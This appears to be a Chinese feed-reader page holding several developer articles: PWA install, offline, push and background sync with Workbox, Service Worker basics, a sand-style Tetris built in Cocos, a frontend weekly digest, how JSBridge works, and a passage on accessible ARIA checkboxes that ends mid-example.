阅读视图

发现新文章,点击刷新页面。

pwa 安装/离线/推送/后台同步 全套高级能力

安装提示打磨 + 优雅离线兜底 + Push 通知完整闭环 + Background Sync

1. 安装体验优化(让用户“心甘情愿”点安装)

核心 APIbeforeinstallprompt(Android/Chrome 自动 banner;iOS 手动优化)

App.tsx 或主入口添加:

import { useEffect, useState } from 'react'

function InstallPrompt() {
  const [deferredPrompt, setDeferredPrompt] = useState<any>(null)
  const [showInstallButton, setShowInstallButton] = useState(false)

  useEffect(() => {
    const handler = (e: any) => {
      e.preventDefault()           // 阻止默认 banner
      setDeferredPrompt(e)
      setShowInstallButton(true)
    }
    window.addEventListener('beforeinstallprompt', handler)

    // iOS 26+ 改进:即使无 manifest 也能以 web app 打开
    return () => window.removeEventListener('beforeinstallprompt', handler)
  }, [])

  const handleInstall = async () => {
    if (!deferredPrompt) return
    deferredPrompt.prompt()
    const { outcome } = await deferredPrompt.userChoice
    console.log('用户选择:', outcome)
    setDeferredPrompt(null)
    setShowInstallButton(false)
  }

  return showInstallButton ? (
    <button onClick={handleInstall} className="fixed bottom-4 right-4 bg-blue-600 text-white px-6 py-3 rounded-2xl shadow-xl">
      📲 添加到主屏幕(像 App 一样用)
    </button>
  ) : null
}

iOS 26+ 新特性(2026 年重大改进):

  • 任何网站“添加到主屏幕”默认以 web app 模式 打开(无地址栏、无 Safari UI)。
  • 无需完美 manifest 也能 standalone。

图标 & 启动屏优化(manifest 已在上讲配置):

  • 必须准备 192×192 + 512×512 + maskable 图标
  • 添加 <meta name="apple-mobile-web-app-capable" content="yes">(兼容旧 iOS)

2. 离线体验升级(不白屏 + 优雅兜底)

方式一:在 Workbox 中加 fallback(推荐)

vite.config.ts 的 runtimeCaching 里补充:

{
  urlPattern: ({ request }) => request.mode === 'navigate',
  handler: 'NetworkFirst',
  options: {
    cacheName: 'pages',
    networkTimeoutSeconds: 3,
    plugins: [
      {
        // 网络失败时返回 offline.html
        handlerDidError: async () => caches.match('/offline.html')
      }
    ]
  }
}

方式二:手动创建 public/offline.html(美化版):

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>离线模式 - 我的 PWA</title>
  <style>body { font-family: system-ui; text-align: center; padding-top: 40vh; }</style>
</head>
<body>
  <h1>📴 当前离线</h1>
  <p>已缓存内容可正常浏览</p>
  <button onclick="location.reload()">重试联网</button>
</body>
</html>

预缓存它:globPatterns: ['**/*.{..., offline.html}']

效果:断网打开任何页面 → 自动展示 offline.html(用户感觉“App 还在”)

3. Push Notification 全流程(生产可用)

步骤 1:VAPID 密钥生成(服务器端)

npm install web-push
npx web-push generate-vapid-keys

记录 VAPID_PUBLIC_KEYVAPID_PRIVATE_KEY

步骤 2:客户端订阅(main.tsx 或单独组件)

const publicVapidKey = '你的公钥'

async function subscribeUser() {
  if (!('PushManager' in window)) return alert('浏览器不支持 Push')

  const registration = await navigator.serviceWorker.ready
  const subscription = await registration.pushManager.subscribe({
    userVisibleOnly: true,
    applicationServerKey: urlBase64ToUint8Array(publicVapidKey)
  })

  // 发送到你的后端保存
  await fetch('/api/subscribe', {
    method: 'POST',
    body: JSON.stringify(subscription),
    headers: { 'Content-Type': 'application/json' }
  })
}

// 工具函数
function urlBase64ToUint8Array(base64String: string) {
  const padding = '='.repeat((4 - base64String.length % 4) % 4)
  const base64 = (base64String + padding).replace(/-/g, '+').replace(/_/g, '/')
  const rawData = window.atob(base64)
  return Uint8Array.from([...rawData].map(char => char.charCodeAt(0)))
}

步骤 3:Service Worker 接收推送(vite-plugin-pwa 会自动合并)

sw.js 自定义(或通过 workbox):

self.addEventListener('push', event => {
  const data = event.data.json()
  const options = {
    body: data.body,
    icon: '/pwa-192x192.png',
    badge: '/badge.png',
    actions: [{ action: 'open', title: '打开 App' }]
  }
  event.waitUntil(
    self.registration.showNotification(data.title, options)
  )
})

self.addEventListener('notificationclick', event => {
  event.notification.close()
  event.waitUntil(clients.openWindow('/'))
})

步骤 4:服务器推送示例(Node.js)

const webPush = require('web-push')
webPush.setVapidDetails('mailto:your@email.com', publicKey, privateKey)

webPush.sendNotification(subscription, JSON.stringify({
  title: '订单已发货!',
  body: '您的包裹正在派送中'
}))

2026 年 iOS 现状

  • iOS 16.4+(含 iOS 26)完整支持 Web Push(需加到主屏幕)
  • 无 silent/background push,reach 低于原生
  • EU 地区更稳定,非 EU 也已开放

4. Background Sync & Periodic Sync(离线后自动同步)

使用 Workbox 插件(Android/Chrome 完美,iOS ❌)

安装:npm install workbox-background-sync

vite.config.ts 添加:

import { BackgroundSyncPlugin } from 'workbox-background-sync'

runtimeCaching: [
  {
    urlPattern: ({ url }) => url.pathname.startsWith('/api/submit-form'),
    handler: 'NetworkOnly',   // 离线时失败 → 进入队列
    options: {
      plugins: [
        new BackgroundSyncPlugin('formQueue', {
          maxRetentionTime: 24 * 60   // 最多保留 24 小时
        })
      ]
    }
  }
]

客户端触发

// 离线提交表单时
fetch('/api/submit-form', { method: 'POST', body: data })
  .catch(() => {
    console.log('离线,已加入后台队列')
  })

Periodic Sync(定期更新内容,Chrome 专属)

// 在 SW 中
self.addEventListener('periodicsync', event => {
  if (event.tag === 'update-content') {
    event.waitUntil(updateCacheAndNotify())
  }
})

// 注册(客户端)
async function registerPeriodicSync() {
  const registration = await navigator.serviceWorker.ready
  await registration.periodicSync.register('update-content', {
    minInterval: 24 * 60 * 60 * 1000   // 每天
  })
}

2026 年平台对比

  • Android/Chrome:完整支持
  • iOS/Safari:Background Sync & Periodic Sync 仍不支持(无时间表)
  • iOS 替代方案:用 Push 唤醒 + 用户打开时同步

Service Worker 和 Workbox 分别是什么?它们有什么区别?

1. Service Worker 是什么?(补充具体代码例子)

Service Worker(简称 SW)是浏览器原生提供的一个 JavaScript API,本质上是运行在后台的代理脚本(proxy server)。它像一个“中间人”,坐在网页、浏览器缓存和真实网络之间。主要职责:

  • 拦截所有网络请求(fetch 事件)
  • 决定怎么响应:直接从缓存返回、去网络取、组合两者、甚至伪造响应
  • 管理缓存(Cache Storage API)
  • 实现离线支持、推送通知、后台同步等 PWA 高级能力

它解决了什么核心问题?

  • 传统网页一断网就彻底崩(白屏、无法交互)
  • 加载慢、重复请求多(尤其静态资源)
  • 无法像原生 App 一样推送消息或在后台完成未发出的请求
  • 弱网/无网场景下用户体验差 → 流失高

一句话:Service Worker 是 PWA “可靠 + 快速 + 可安装”三大支柱中最核心的引擎,没有它就没有真正的离线 PWA。

但原生写法很底层:生命周期(install → activate)、缓存管理、策略实现、边缘 case(范围请求、opaque 响应、跨域等)都需要自己手写,容易出错、代码量大、维护难。

原生 Service Worker 基本示例(一个简单的预缓存 + Cache First 策略,适合学习理解底层):

// sw.js(放在项目根目录)
const CACHE_NAME = 'my-pwa-cache-v1';
const urlsToCache = [
  '/',                    // 首页
  '/index.html',
  '/styles/main.css',
  '/scripts/app.js',
  '/images/logo.png'
];

// 安装阶段:预缓存核心资源
self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => {
        console.log('Opened cache');
        return cache.addAll(urlsToCache);
      })
      .catch(err => console.error('Precache failed:', err))
  );
  // 跳过等待,直接激活(常见优化)
  self.skipWaiting();
});

// 激活阶段:清理旧缓存
self.addEventListener('activate', event => {
  const cacheWhitelist = [CACHE_NAME];
  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (cacheWhitelist.indexOf(cacheName) === -1) {
            return caches.delete(cacheName);
          }
        })
      );
    })
  );
  // 立即接管所有客户端页面
  self.clients.claim();
});

// 拦截请求:简单的 Cache First 策略
self.addEventListener('fetch', event => {
  event.respondWith(
    caches.match(event.request)
      .then(cachedResponse => {
        // 缓存命中,直接返回
        if (cachedResponse) {
          return cachedResponse;
        }

        // 否则走网络,并尝试缓存响应(只缓存成功的 GET 请求)
        return fetch(event.request).then(networkResponse => {
          if (!networkResponse || networkResponse.status !== 200 || networkResponse.type !== 'basic') {
            return networkResponse;
          }

          // 克隆响应(因为响应流只能消费一次)
          const responseToCache = networkResponse.clone();

          caches.open(CACHE_NAME)
            .then(cache => {
              cache.put(event.request, responseToCache);
            });

          return networkResponse;
        }).catch(() => {
          // 网络失败,返回离线兜底页面(可选)
          return caches.match('/offline.html');
        });
      })
  );
});

注册方式(在主 JS 文件中):

if ('serviceWorker' in navigator) {
  window.addEventListener('load', () => {
    navigator.serviceWorker.register('/sw.js')
      .then(reg => console.log('SW registered', reg))
      .catch(err => console.error('SW registration failed', err));
  });
}

这个例子展示了原生 SW 的完整生命周期和基本缓存逻辑,但你会发现:策略一复杂起来,代码就爆炸了。

2. Workbox 是什么?(补充具体代码例子)

Workbox 是 Google 官方开源的一套 JavaScript 库(多个模块组成),专门为 Service Worker 设计的“生产级工具包”。它不取代 Service Worker,而是站在 Service Worker 的肩膀上,提供更高层的抽象和最佳实践封装。

核心模块包括:

  • 预缓存(precaching)自动生成清单
  • 路由 + 策略(routing + 5大策略:CacheFirst、NetworkFirst、StaleWhileRevalidate 等)
  • 过期管理、数量限制、广播更新
  • 后台同步、缓存清理等插件

它解决了什么问题?(针对原生 SW 的痛点)

痛点(原生 Service Worker) Workbox 如何解决 实际收益(2026 年生产视角)
写 fetch 事件逻辑很繁琐、容易漏边缘 case 内置策略类 + 插件系统,几行配置就实现复杂缓存 代码量减少 70%+,bug 少很多
缓存过期、版本冲突、手动清理旧缓存难搞 ExpirationPlugin、Cleanup 等插件自动处理 缓存不会无限膨胀,版本更新更可靠
预缓存构建产物需要自己维护清单 vite-plugin-pwa / workbox-webpack-plugin 自动生成 __WB_MANIFEST 构建一次,清单自动更新
策略选择和组合麻烦(尤其是混合使用) runtimeCaching 配置数组,按 URL/类型一目了然匹配策略 生产级策略组合 10 分钟搞定
调试难、没有好用的开发体验 dev 模式自动注入、广播更新、Lighthouse 友好 开发和调试效率翻倍
重复造轮子(每个人都写类似缓存逻辑) 内置最佳实践 + 社区验证过的插件生态 54%+ 移动 PWA 在用,框架官方推荐(Vite/Next/Angular 等)

一句话总结区别:

  • Service Worker = 浏览器提供的“发动机” → 功能强大,但原始、手动挡,开起来费力且容易翻车。
  • Workbox = Google 给的“自动挡 + 导航 + 辅助驾驶系统” → 让你把精力放在业务上,而不是跟生命周期和缓存边缘 case 死磕。

99% 的真实项目(尤其是中大型)都应该直接用 Workbox,除非你在做底层研究、极致性能调优或极小 demo。

Workbox 生产级示例(使用 vite-plugin-pwa,2026 年主流方式,基于 Workbox v7.4+):

// vite.config.ts
import { defineConfig } from 'vite'
import { VitePWA } from 'vite-plugin-pwa'

export default defineConfig({
  plugins: [
    VitePWA({
      registerType: 'autoUpdate',
      workbox: {
        globPatterns: ['**/*.{js,css,html,png,svg,ico}'], // 自动预缓存构建产物
        runtimeCaching: [
          // 图片:CacheFirst + 过期控制
          {
            urlPattern: /\.(?:png|jpg|jpeg|svg|webp|ico)$/,
            handler: 'CacheFirst',
            options: {
              cacheName: 'images-cache',
              expiration: {
                maxEntries: 60,
                maxAgeSeconds: 30 * 24 * 60 * 60, // 30 天
              },
            },
          },
          // API:StaleWhileRevalidate(快速显示旧数据 + 后台更新)
          {
            urlPattern: ({ url }) => url.pathname.startsWith('/api/'),
            handler: 'StaleWhileRevalidate',
            options: {
              cacheName: 'api-cache',
              plugins: [
                {
                  cacheWillUpdate: async ({ response }) => {
                    // 只缓存 0/200 响应
                    return response.status === 0 || response.status === 200 ? response : null;
                  },
                },
                {
                  expiration: {
                    maxEntries: 50,
                    maxAgeSeconds: 24 * 60 * 60, // 1 天
                  },
                },
              ],
            },
          },
          // 页面导航:NetworkFirst(优先新鲜内容)
          {
            urlPattern: ({ request }) => request.mode === 'navigate',
            handler: 'NetworkFirst',
            options: {
              cacheName: 'pages-cache',
              networkTimeoutSeconds: 3,
            },
          },
        ],
      },
      devOptions: { enabled: true }, // 本地开发也启用 SW
    }),
  ],
})

客户端注册 & 优雅更新(main.js):

import { registerSW } from 'virtual:pwa-register'

const updateSW = registerSW({
  onNeedRefresh() {
    // 可以显示 toast 或弹窗提示用户更新
    if (confirm('有新版本可用,是否立即更新?')) {
      updateSW(true)
    }
  },
  onOfflineReady() {
    console.log('应用已准备好离线使用')
  },
})

用 Workbox 后,sw.js 几乎不用手写,插件自动生成 + 维护,策略通过配置数组声明即可。

俄罗斯方块谁不会做......啊?流沙版?

引言

哈喽大家好,我是亿元程序员,虽然是春节假期,但是有小伙伴还是非常卷:

大佬你好,我是刚入门的游戏开发新人,打算先做个简单的小游戏练练手。

就是前阵子比较火的俄罗斯方块,不知道合不合适?

俄罗斯方块? 这个游戏非常经典,而且做起来也挺好上手,应该不难,挺合适的。

随后小伙伴发来一张截图:

啊?

**啊?流沙版?**卷王果然卷王,一来就上强度。

言归正传,本期带大家一起来看看,在Cocos游戏开发中,开发流沙版俄罗斯方块,有哪些关键的点

本文源工程可在文末获取,小伙伴们自行前往。

什么是流沙版俄罗斯方块?

相信小伙伴们都认识俄罗斯方块,它有7种不同形状的方块,控制它们旋转、移动和下落,直到填满一整行即可消除得分。

流沙版则是其变种版本:

它的方块落地会像沙子一样流动、散开,同色流沙横向连通左右边界即消除,策略性更强、更解压。

那么,实现流沙版有哪些关键的点?

1.双网格和统一坐标

和传统的俄罗斯方块一样,方块下落的过程,采用的是“格子”坐标系,例如10*201020行 。

格子网格

但是方块落地之后,按照规则会化成比格子更小的“沙粒”,于是我们需要再把每个格子分成10*10100份即100*200100200行。

沙粒网格

基于以上双网格,我们在处理渲染、碰撞和锁块(固定到棋盘上)时,必须保持两套坐标系的统一,这是整个玩法的数学基础,否则会导致碰撞异常、落地错位等问题。

那在双网格的前提下如何判断发生碰撞?

2.碰撞与锁块

碰撞的检测需要拿当前方块的形状、当前方块的位置,将逐个格子进行计算检测,看格子范围内是否有沙子或者格子是否超出边界。

逐个检查

和人生一样,没有代码的文章是不完整的,核心的碰撞检测的代码如下:

完整

锁块的意思就是当下落的方块落到地面或者其他方块上面时,会固定在网格上,这时候我们需要把移动的方块映射到网格上。

落实到位

以上的内容最主要就是坐标的计算,通过计算得出映射到的格子即可,俄罗斯方块就可以通过这个原理实现。

那流沙版的效果要怎么实现?

3.沙粒物理

方块锁定之后,需要像沙子一样散落到地面,我们需要通过模拟实现沙粒的物理效果。

一盘散沙

实现算法如下

  • 从下往上遍历行,每行随机列序,避免固定顺序带来的偏向。
  • 对每个沙粒:正下方空则直接下落;否则看左下、右下是否为空,若都空则随机选一侧,否则选唯一空的一侧,实现「可竖直或斜向下落」的沙粒感。

图解如下

抽象的很

图解太过抽象,我们可以看下代码:

更抽象了...

核心差不多都抽象完了,下面实现一下消除。

4.消除规则

  • 内容:按颜色找连通块,只有「同色 + 四连通 + 从左边界连到右边界」的沙粒才会被消除;再配合做闪白再清空。
  • 解析:这是得分与清空的核心规则,和「满行消」完全不同:需要同色、横向贯通。规则设计决定了策略深度和难度曲线。

图解如下

可以消除

从最左侧一列开始,逐个颜色,通过4方向(可以扩展成8方向)进行查找,颜色一致则继续查找,直到最右侧。

最后再加个消除的效果即可完成,怎么都是棍子?

不是一棍难求吗?

5.效果演示

结语

以上就是流沙版俄罗斯方块的关键点,不知道我说明白没有。

小伙伴们入门游戏行业做的第一款游戏都是什么?

本文实战完整源码已集成到亿元Cocos小游戏实战合集(8/10),内含体验链接,即将上调价格。


我是"亿元程序员",一位有着8年游戏行业经验的主程。在游戏开发中,希望能给到您帮助, 也希望通过您能帮助到大家。

AD:笔者线上的小游戏《打螺丝闯关》《贪吃蛇掌机经典》《重力迷宫球》《填色之旅》《方块掌机经典》大家可以自行点击搜索体验。

实不相瞒,想要个爱心!请把该文章分享给你觉得有需要的其他小伙伴。谢谢!

推荐文章:

亿元Cocos小游戏实战合集

最近很火的一个拼图游戏,老板让我用Cocos3.8做一个...

老板说拼图游戏太卷了,让我用Cocos做个3d版本的...

敢不敢挑战用Cocos3.8复刻曾经很火的割绳子游戏?

Cocos游戏如何接入安卓穿山甲广告变现?

你知道和不知道的微信小游戏常用API整理,赶紧收藏用起来~

Cocos游戏如何快速接入抖音小游戏广告变现?

栗子前端技术周刊第 117 期 - TypeScript 6.0 Beta、webpack 2026 年路线图、React 最新生态调查报告结果...

🌰栗子前端技术周刊第 117 期 (2026.02.09 - 2026.02.22):浏览前端一周最新消息,学习国内外优秀文章,让我们保持对前端的好奇心。

📰 技术资讯

  1. TypeScript 6.0 Beta:TypeScript 6.0 Beta 发布,v6.0 在很大程度上是一个“清理你的 tsconfig 配置”版本,旨在为今年晚些时候迁移至由 Go 语言驱动的原生 TypeScript 7 做好衔接。请注意其中的一些调整,例如类型默认值变为 []--strict 模式现在默认启用,此外还有诸多破坏性变更与废弃项。

  2. webpack 2026 年路线图:webpack 公布了 2026 年路线图,内容包括:支持通用编译目标,可将代码编译到多种运行时中运行;无需 loader 即可构建 TypeScript;无需插件即可使用 CSS Modules 等。

  3. React 最新生态调查报告结果:这份最新的年度社区调研收集了近 4000 名开发者的意见与偏好,让我们得以一窥大家在 UI 库选择、数据可视化库、鉴权方案、另类渲染器的使用情况,以及 React 核心 API 中最让人头疼的痛点。

  4. React Native 0.84:React Native 0.84 将 Hermes v1 设为默认 JavaScript 引擎,开启 RN 性能大幅提升的新时代。

  5. bun v1.3.9:bun v1.3.9 推出了 bun run --parallel--sequential,支持以 Foreman 风格带前缀输出的方式,并行或串行执行多个 package.json 脚本。

📒 技术文章

  1. The CSS Selection: 2026 Edition:《CSS 精选:2026 版》—— 基于超 10 万个网站的真实数据,对 CSS 实际使用情况进行了深度全面分析。报告对样式表体积、整体特性使用率及 CSS 复杂度做了极具价值的统计(其中单页最多包含 210,695 条 CSS 规则!)。如果你想了解最新 CSS 特性的普及情况,这篇内容必读。

  2. Experiments with CodeMirror:基于 CodeMirror 的实战探索 —— CodeMirror 是目前生态中最稳定可靠的代码编辑器组件之一,而且它的扩展性极强。这篇教程就演示了如何为它打造类 VSCode 的「变更审查(change review)」功能,充分体现了这一点。

  3. 前端构建产物里的 __esModule 是什么?:本文围绕前端构建产物里的 __esModule 展开。它本质是标记“这个 CommonJS 文件是从 ES Module 转译来的”,用于默认导出语义互操作。出现原因是 ES Module 和 CommonJS 语义不同,构建工具转译时需模拟语义

🔧 开发工具

  1. npmx:一款全新、快速的官方 npm 注册表浏览工具。搜索体验流畅,包详情页能展示更多信息,其中包对比工具也十分好用。
image-20260221143439491
  1. modern.css:现代 CSS 代码片段,与它们所替代的旧版奇技淫巧一一对照。
image-20260221144417154
  1. React Doctor:这款全新工具出自 React Scan 和 React Grab 开发者之手,能够扫描代码库中的安全、性能与架构问题。
image-20260221144601733

🚀🚀🚀 以上资讯文章选自常见周刊,如 JavaScript Weekly 等,周刊内容也会不断优化改进,希望你们能够喜欢。

💖 欢迎关注微信公众号:栗子前端

JSBridge 原理详解

什么是 JSBridge

JSBridge 是 WebView 中 JavaScript 与 Native 代码之间的通信桥梁。核心问题是:两个不同运行环境的代码如何互相调用?


通信原理

1. Native 调用 JS(简单)

WebView 本身就提供了执行 JS 的能力,原理很直接:WebView 控制着 JS 引擎,可以直接向其注入并执行代码。

// Android
webView.evaluateJavascript("window.appCallJS('data')", null);

// iOS
webView.evaluateJavaScript("window.appCallJS('data')")

// Flutter
webViewController.runJavaScript("window.appCallJS('data')");

2. JS 调用 Native(核心难点)

JS 运行在沙箱中,无法直接访问系统 API。有两种主流方案:

方案一:注入 API

Native 在 WebView 初始化时,向 JS 全局对象注入方法:

// Android - 注入对象到 window
webView.addJavascriptInterface(new Object() {
    @JavascriptInterface
    public void showToast(String msg) {
        Toast.makeText(context, msg, Toast.LENGTH_SHORT).show();
    }
}, "NativeBridge");

JS 端直接调用:

window.NativeBridge.showToast("Hello")

本质:Native 把自己的方法"挂"到了 JS 的全局作用域里。

方案二:URL Scheme 拦截

JS 发起一个特殊协议的请求,Native 拦截并解析:

// JS 端
location.href = 'jsbridge://showToast?msg=Hello'

// 或使用 iframe(避免页面跳转)
const iframe = document.createElement('iframe')
iframe.src = 'jsbridge://showToast?msg=Hello'
document.body.appendChild(iframe)
// Android 端拦截
webView.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        if (url.startsWith("jsbridge://")) {
            // 解析 url,执行对应 Native 方法
            return true;
        }
        return false;
    }
});

本质:利用 WebView 的 URL 加载机制作为通信通道。


异步回调的实现

JS 调用 Native 后如何拿到返回值?通过回调 ID 机制:

// JS 端
let callbackId = 0
const callbacks = {}

function callNative(method, params) {
    return new Promise((resolve) => {
        const id = callbackId++
        callbacks[id] = resolve
        // 告诉 Native:调用完成后,用这个 id 回调我
        window.NativeBridge.invoke(JSON.stringify({
            method,
            params,
            callbackId: id
        }))
    })
}

// Native 执行完后调用这个函数
window.handleCallback = (id, result) => {
    callbacks[id]?.(result)
    delete callbacks[id]
}

流程:JS 调用 → Native 处理 → Native 调用 evaluateJavascript 执行回调函数 → JS 收到结果


各平台注入对象命名

平台/插件 全局对象名 是否可自定义
Android 原生 任意 ✅ 完全自定义
iOS WKWebView webkit.messageHandlers.xxx ✅ xxx 部分可自定义
flutter_inappwebview flutter_inappwebview ❌ 插件固定
webview_flutter 需要自己实现 ✅ 完全自定义

Android 示例

// 第二个参数就是 JS 中的对象名,可以随便取
webView.addJavascriptInterface(bridgeObject, "MyBridge");
// JS 端
window.MyBridge.method()

iOS 示例

// name 就是 JS 中的 handler 名
configuration.userContentController.add(self, name: "iOSBridge")
// JS 端
window.webkit.messageHandlers.iOSBridge.postMessage(data)

Flutter (flutter_inappwebview) 示例

// Flutter 端注册 handler,handlerName 可自定义
webViewController.addJavaScriptHandler(
  handlerName: 'myCustomHandler',
  callback: (args) { ... }
);
// JS 端,flutter_inappwebview 是固定的
window.flutter_inappwebview.callHandler('myCustomHandler', data)

通信方式总结

方向 原理 实现方式
Native → JS WebView 控制 JS 引擎 evaluateJavascript
JS → Native 注入或拦截 addJavascriptInterface / URL Scheme

常见通信方式对比

方式 优点 缺点 适用场景
JavaScript Bridge 双向通信、支持回调 需要约定协议 复杂交互
URL Scheme 简单、兼容性好 单向、数据量有限 简单跳转
postMessage 标准 API 需要 WebView 支持 iframe 通信
注入 JS 对象 调用方便 Android 4.2 以下有安全漏洞 频繁调用

最佳实践建议

  1. 统一封装:抽离成独立的 bridge 工具类,统一管理通信逻辑
  2. 消息队列:处理 Native 未就绪时的调用,避免丢失消息
  3. 超时处理:添加超时机制,防止回调永远不返回
  4. 类型安全:使用 TypeScript 定义消息类型
  5. 错误处理:统一的错误捕获和上报机制

构建无障碍组件之Checkbox pattern

Checkbox Pattern 详解:构建无障碍复选框组件

复选框(Checkbox)是表单中最常见的交互元素之一,支持双状态(选中/未选中)和三状态(选中/未选中/部分选中)两种类型。本文基于 W3C WAI-ARIA Checkbox Pattern 规范,详解如何构建无障碍的复选框组件。

一、Checkbox 的定义与核心概念

复选框是一种允许用户进行二元或三元选择的控件。根据使用场景,复选框分为两种类型:

1.1 双状态复选框(Dual-State Checkbox)

在两个状态之间切换:

  • 选中(Checked):复选框被选中
  • 未选中(Not Checked):复选框未被选中

1.2 三状态复选框(Tri-State Checkbox)

在三个状态之间切换:

  • 选中(Checked):复选框被选中
  • 未选中(Not Checked):复选框未被选中
  • 部分选中(Partially Checked):表示一组选项中部分被选中

1.3 三状态复选框的典型应用场景

三状态复选框常用于软件安装程序或权限设置中,一个总控复选框控制整组选项的状态:

  • 全部选中:如果组内所有选项都被选中,总控复选框显示为选中状态
  • 部分选中:如果组内部分选项被选中,总控复选框显示为部分选中状态
  • 全部未选中:如果组内没有选项被选中,总控复选框显示为未选中状态

用户可以通过点击总控复选框一次性改变整组选项的状态:

  • 点击选中的总控复选框 → 取消全选
  • 点击未选中的总控复选框 → 全选
  • 点击部分选中的总控复选框 → 根据实现可能全选或恢复之前的状态

二、WAI-ARIA 角色与属性

2.1 基本角色

复选框具有 role="checkbox"

2.2 可访问标签

复选框的可访问标签可以通过以下方式提供:

  • 可见文本内容:直接包含在具有 role="checkbox" 的元素内的文本
  • aria-labelledby:引用包含标签文本的元素的 ID
  • aria-label:直接在复选框元素上设置标签文本
<!-- 方式一:可见文本内容 -->
<div role="checkbox" aria-checked="false">
  订阅新闻邮件
</div>

<!-- 方式二:aria-labelledby -->
<span id="newsletter-label">订阅新闻邮件</span>
<div role="checkbox" aria-checked="false" aria-labelledby="newsletter-label"></div>

<!-- 方式三:aria-label -->
<div role="checkbox" aria-checked="false" aria-label="订阅新闻邮件"></div>

2.3 状态属性

2.4 分组属性

如果一组复选框作为逻辑组呈现且有可见标签:

<fieldset role="group" aria-labelledby="group-label">
  <legend id="group-label">选择权限</legend>
  <label><input type="checkbox" /> 读取</label>
  <label><input type="checkbox" /> 写入</label>
  <label><input type="checkbox" /> 删除</label>
</fieldset>

2.5 描述属性

如果包含额外的描述性静态文本,使用 aria-describedby

<div role="checkbox" aria-checked="false" aria-describedby="terms-desc">
  我同意服务条款
</div>
<p id="terms-desc">点击此处查看完整的服务条款内容</p>

三、键盘交互规范

当复选框获得焦点时:

按键 功能
Space 改变复选框的状态(选中/未选中/部分选中)

四、实现方式

4.1 双状态复选框

原生 HTML 实现(推荐)
<label>
  <input type="checkbox" name="newsletter" />
  订阅新闻邮件
</label>
ARIA 实现(自定义样式)
<div 
  role="checkbox" 
  tabindex="0" 
  aria-checked="false"
  onclick="toggleCheckbox(this)"
  onkeydown="handleKeydown(event, this)">
  <span class="checkbox-icon" aria-hidden="true"></span>
  订阅新闻邮件
</div>

<script>
  function toggleCheckbox(checkbox) {
    const isChecked = checkbox.getAttribute('aria-checked') === 'true';
    checkbox.setAttribute('aria-checked', !isChecked);
  }
  
  function handleKeydown(event, checkbox) {
    if (event.key === ' ') {
      event.preventDefault();
      toggleCheckbox(checkbox);
    }
  }
</script>

4.2 三状态复选框(全选/取消全选)

<fieldset role="group" aria-labelledby="permissions-label">
  <legend id="permissions-label">文件权限</legend>
  
  <!-- 总控复选框 -->
  <label>
    <input 
      type="checkbox" 
      id="select-all"
      aria-checked="false"
      onchange="toggleAll(this)" />
    全选
  </label>
  
  <!-- 子复选框组 -->
  <div class="checkbox-group">
    <label>
      <input 
        type="checkbox" 
        name="permission"
        value="read"
        onchange="updateSelectAll()" />
      读取
    </label>
    <label>
      <input 
        type="checkbox" 
        name="permission"
        value="write"
        onchange="updateSelectAll()" />
      写入
    </label>
    <label>
      <input 
        type="checkbox" 
        name="permission"
        value="delete"
        onchange="updateSelectAll()" />
      删除
    </label>
  </div>
</fieldset>

<script>
  function toggleAll(selectAllCheckbox) {
    const checkboxes = document.querySelectorAll('input[name="permission"]');
    const isChecked = selectAllCheckbox.checked;
    
    checkboxes.forEach(checkbox => {
      checkbox.checked = isChecked;
    });
    
    updateSelectAllState();
  }
  
  function updateSelectAll() {
    updateSelectAllState();
  }
  
  function updateSelectAllState() {
    const selectAllCheckbox = document.getElementById('select-all');
    const checkboxes = document.querySelectorAll('input[name="permission"]');
    const checkedCount = document.querySelectorAll('input[name="permission"]:checked').length;
    
    if (checkedCount === 0) {
      selectAllCheckbox.checked = false;
      selectAllCheckbox.indeterminate = false;
      selectAllCheckbox.setAttribute('aria-checked', 'false');
    } else if (checkedCount === checkboxes.length) {
      selectAllCheckbox.checked = true;
      selectAllCheckbox.indeterminate = false;
      selectAllCheckbox.setAttribute('aria-checked', 'true');
    } else {
      selectAllCheckbox.checked = false;
      selectAllCheckbox.indeterminate = true;
      selectAllCheckbox.setAttribute('aria-checked', 'mixed');
    }
  }
</script>

4.3 使用原生 HTML 实现三状态效果

HTML5 的 indeterminate 属性可以实现部分选中视觉效果:

<label>
  <input 
    type="checkbox" 
    id="master-checkbox"
    onclick="handleMasterClick(this)" />
  全选
</label>

<label><input type="checkbox" class="child-checkbox" onchange="updateMaster()" /> 选项 1</label>
<label><input type="checkbox" class="child-checkbox" onchange="updateMaster()" /> 选项 2</label>
<label><input type="checkbox" class="child-checkbox" onchange="updateMaster()" /> 选项 3</label>

<script>
  function updateMaster() {
    const master = document.getElementById('master-checkbox');
    const children = document.querySelectorAll('.child-checkbox');
    const checkedCount = document.querySelectorAll('.child-checkbox:checked').length;
    
    if (checkedCount === 0) {
      master.checked = false;
      master.indeterminate = false;
    } else if (checkedCount === children.length) {
      master.checked = true;
      master.indeterminate = false;
    } else {
      master.checked = false;
      master.indeterminate = true;
    }
  }
  
  function handleMasterClick(master) {
    const children = document.querySelectorAll('.child-checkbox');
    const isChecked = master.checked;
    
    children.forEach(child => {
      child.checked = isChecked;
    });
  }
</script>

五、常见应用场景

5.1 表单选项

用户注册表单中的选项选择:

<fieldset>
  <legend>兴趣爱好</legend>
  <label><input type="checkbox" name="hobby" value="reading" /> 阅读</label>
  <label><input type="checkbox" name="hobby" value="sports" /> 运动</label>
  <label><input type="checkbox" name="hobby" value="music" /> 音乐</label>
  <label><input type="checkbox" name="hobby" value="travel" /> 旅行</label>
</fieldset>

5.2 权限设置

系统权限管理中的功能授权:

<fieldset role="group" aria-labelledby="permissions-heading">
  <h3 id="permissions-heading">用户权限</h3>
  
  <label>
    <input type="checkbox" id="select-all-permissions" />
    全选所有权限
  </label>
  
  <div class="permission-group">
    <label><input type="checkbox" name="permission" value="view" /> 查看数据</label>
    <label><input type="checkbox" name="permission" value="create" /> 创建记录</label>
    <label><input type="checkbox" name="permission" value="edit" /> 编辑内容</label>
    <label><input type="checkbox" name="permission" value="delete" /> 删除数据</label>
  </div>
</fieldset>

5.3 安装程序选项

软件安装时的组件选择:

<fieldset>
  <legend>选择安装组件</legend>
  
  <label>
    <input type="checkbox" id="select-all-components" />
    安装所有组件
  </label>
  
  <label><input type="checkbox" name="component" value="core" checked disabled /> 核心程序(必需)</label>
